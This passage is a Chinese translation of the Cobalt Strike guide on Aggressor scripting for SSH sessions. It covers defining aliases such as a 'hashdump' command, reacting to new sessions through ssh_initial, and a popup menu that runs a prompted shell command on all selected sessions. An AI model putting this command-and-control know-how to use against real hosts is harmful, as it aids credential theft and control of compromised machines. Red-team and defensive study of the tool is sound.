将以上内容放入脚本中,将其加载到 Cobalt Strike
中,然后在 SSH
控制台中输入 hashdump
。 Cobalt Strike
也会标记完整的 SSH
别名。
你还可以使用 &ssh_alias
函数定义 SSH
别名。
Cobalt Strike
会将以下参数传递给别名:$0
是别名名称和参数,不做任何解析。$1
是输入别名的会话 ID
。参数 $2
和on
包含传递给别名的单个参数。别名解析器用空格分割参数。用户可以使用 "双引号 "将单词组合成一个参数。
你还可以使用 SSH
控制台的帮助系统注册你的别名。使用 &ssh_command_register
注册命令。
响应新的 SSH 会话
Aggressor
脚本也可以对新的 SSH
会话做出反应。使用 ssh_initial
事件来设置 SSH
会话传入时应运行的命令。
on ssh_initial {
# do some stuff
}
ssh_initial
的$1
参数是新会话的 ID
。
弹出菜单
你还可以在 SSH
弹出菜单中添加项目。ssh
弹出钩子允许你向 SSH
菜单添加项目。 SSH
弹出菜单的参数是选定会话 ID
的数组。
popup ssh {
item "Run All..." {
prompt_text("Which command to run?", "w", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
你会发现,这个例子与 Beacon
章节中的例子非常相似。例如,使用 &binput
向 SSH
控制台发布输入。使用 &bshell
来指定 SSH
会话运行命令。这些都是正确的。请记住,在Cobalt Strike/Aggressor
脚本的大部分功能中,SSH
会话就是Beacon
会话。
# 说明
本文由笔者在Cobalt Strike官方用户指南原文(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)基础上编译,如需转载请注明来源。